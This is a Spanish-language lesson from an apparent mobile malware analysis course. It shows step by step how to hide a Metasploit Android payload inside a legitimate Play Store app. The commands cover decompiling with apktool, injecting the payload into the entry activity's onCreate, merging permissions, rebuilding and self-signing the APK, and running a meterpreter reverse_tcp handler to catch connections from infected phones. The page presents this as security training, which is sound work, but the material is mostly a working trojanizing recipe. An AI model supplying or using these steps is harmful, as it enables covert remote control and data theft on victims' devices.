Inyección de Malware en Aplicaciones Android con APK Tool
Clase 15 de 22 • Curso de Análisis de Malware para Dispositivos Móviles
Resumen
¿Cómo integrar malware en una aplicación legítima?
La integración de malware en una aplicación legítima es un proceso técnico donde se embebe software malicioso dentro de una aplicación que originalmente es inofensiva. Este proceso es clave para los investigadores de seguridad cibernética que buscan entender cómo operan los ataques y las vulnerabilidades en dispositivos como los teléfonos móviles. Hoy exploraremos cómo realizar este procedimiento utilizando herramientas específicas dentro de un entorno controlado de análisis.
¿Cuál es el propósito del entorno de análisis?
El entorno de análisis permite evaluar el comportamiento de una aplicación legítima que ha sido modificada para contener malware.
- Aplicaciones utilizadas:
- Cien sonidos: una app legítima de la Play Store.
- APK MetExploid: una aplicación maliciosa generada en una clase previa.
¿Qué herramientas son necesarias para descompilar aplicaciones?
La descompilación de aplicaciones es un paso crítico para acceder a sus archivos y modificar su comportamiento. Utilizamos la herramienta APK Tool, una herramienta potente para manejar archivos APK en sistemas Linux.
apktool d cien_sonidos.apk
apktool d MetExploid.apk
¿Cómo modificar el punto de entrada de una aplicación?
Modificar el punto de entrada es necesario para lograr que una aplicación ejecute código malicioso al abrirse. Ingresamos al archivo Smali
del punto de entrada de la aplicación, normalmente identificado en el manifiesto de Android.
-
Proceso empleado:
- Localización del punto de entrada con el siguiente comando:
grep -i "android:name" AndroidManifest.xml
- Localización del punto de entrada con el siguiente comando:
-
Inserción de código:
- Inyección del payload del malware dentro de la variable
onCreate
del archivo de punto de entrada (ej.runnerActivity.smali
).
- Inyección del payload del malware dentro de la variable
¿Cómo integrar permisos personalizados?
Los permisos del malware deben integrarse al manifiesto de la aplicación original para que el malware funcione correctamente. Utilizamos cat
para copiar y trasladar estos permisos.
cat AndroidManifest.xml | grep -i "uses-permission" >> permisos_extraidos.txt
¿Cuál es el proceso para compilar y firmar la aplicación modificada?
Compilación se logra usando APK Tool con el parámetro b
para reconstruir el APK modificado, preparándolo para su uso.
apktool b nombre_de_la_carpeta_modificada
Una vez compilada, se debe generar un certificado para firmarla, utilizando keytool
y finalmente jarsigner
.
keytool -genkey -v -keystore nombre.keystore -alias alias_nombre -keyalg RSA -keysize 2048 -validity 10000
jarsigner -verbose -keystore nombre.keystore nombre_compilado.apk alias_nombre
Este proceso es vital para establecer una integridad de firma, aunque trataremos con certificados autogenerados.
¿Cómo escuchar conexiones desde el servidor de comandos?
Finalmente, activamos la consola de MetExploid con msfconsole
para poner nuestro servidor en modo escucha, esperando la conexión de la aplicación infectada al abrirse.
msfconsole -q
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LPORT 4545
set LHOST dirección_IP_local
exploit -j
Este procedimiento ilustra cómo se prepara una aplicación modificada para su instalación y prueba en un dispositivo objetivo, subrayando la importancia tanto de la seguridad proactiva como del conocimiento técnico para prevenir ataques reales.
Si algo no ha salido según lo esperado, los comentarios están abiertos para compartir tus dudas. ¡Sigue aprendiendo y explorando este fascinante campo de la ciberseguridad!